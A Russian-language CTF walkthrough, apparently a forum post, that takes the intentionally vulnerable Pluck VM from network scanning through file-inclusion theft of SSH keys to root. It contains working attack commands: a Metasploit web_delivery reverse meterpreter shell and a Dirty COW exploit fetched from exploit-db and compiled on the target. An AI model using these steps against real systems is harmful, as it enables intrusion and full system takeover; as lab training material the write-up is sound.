Привет! В этой статье речь пойдет о CTF - Capture the Flag — это хакерские соревнования. На форуме есть несколько статей подобной тематики, поэтому, я не буду заострять внимание на подробностях, а сразу перейду к делу. Сегодня в качестве уязвимой системы я буду использовать Pluck VM.
Скачать уязвимую VM можно отсюда - https://download.vulnhub.com/pluck/
Монтируем образ в VM Ware и запускаем. Теперь необходимо выяснить адрес VM в нашей сети:
>
netdiscover – r 172.16.0.1/16
Я выделил желтым ее адрес в моей локальной сети. Запустим сканирование портов:
>
nmap –p- -A 172.16.0.163
На данном этапе сканирования, интерес представляет открытый 80 порт и запущенный на нем Apache, к нему присмотримся внимательней, с помощью nikto:
>
nikto –hhttp://172.16.0.163
Здесь внимание привлекает обнаруженная уязвимость, которая позволит просмотреть все файлы на сервере. Воспользуемся этим, поместим данную информацию в адресную строку браузера.
Из всего, того, что мы здесь видим, нас больше всего интересует путь к файлу с бэкапом, его и подставим следующим в адресную строку:
Теперь мы знаем, где хранится архив с бэкапом, и можем его вытащить оттуда с помощью wget:
>
wget http://172.16.0.163/index.php?page=/backups/backup.tar
Естественно следующим шагом будет распаковка архива:
>
tar –xvf index.php\?page\=%2Fbackups%2Fbackup.tar
Распаковка прошла не совсем удачно, зато мы нашли папку /home и три папки пользователей.
Во всех папках пусто, кроме /paul, внутри находятся файлы со следующим содержимым:
Это не что иное, как файлы ключей ssh, перебирая по порядку, мне удалось залогиниться на сервере с помощью 4-го ключа:
Встречает нас Pdmenu, для тех кто не в курсе, это такой способ разрешить незнакомому с консолью человеку выполнять какие либо действия на сервере, используя удобное меню, и не заморачиваясь с введением команд. Так оно выглядит:
На мысль об уязвимости наталкивает пункт в меню – Edit File. Вероятно, с его помощью мы сможем выполнить произвольный код.
Для эксплуатации этой уязвимости будем использовать Web Delivery Exploit представленный в Metasploit Framework:
>
msfconsole
>
use exploit/multi/script/web_delivery
>
set target 1
>
set payload php/meterpreter/reverse_tcp
>
set lhost 192.168.0.106
>
set lport 4444
>
set srvport 8081
>
exploit
Выделенную строку копируем в поле изменения файла:
НО, перед началом строки ставим -
;
Затем жмем enter и выходим из vi, вернувшись на скрин с Metasploit, видим открытую сессию meterpreter:
Осмотримся в системе и откроем shell:
Для повышения привилегий в системе используем эксплоит Dirty Cow, скачиваем его через шелл на уязвимый хост:
>
wgethttps://exploit-db.com/download/40616
Переименуем сохраненный файл 40616, к примеру, в shell.c и скомпилируем его в исполняемый файл с помощью компилятора gcc и опции –pthread:
>
mv 40616 shell.c
>
gcc shell.c –o cow –pthread
Запускаем наш готовый файл:
>
./cow
Перейдем в каталог /root
>
cd /root
>
ls –a
И возьмем флаг:
>
cat flag.txt
На этом прохождение Pluck VM закончено. Спасибо за внимание.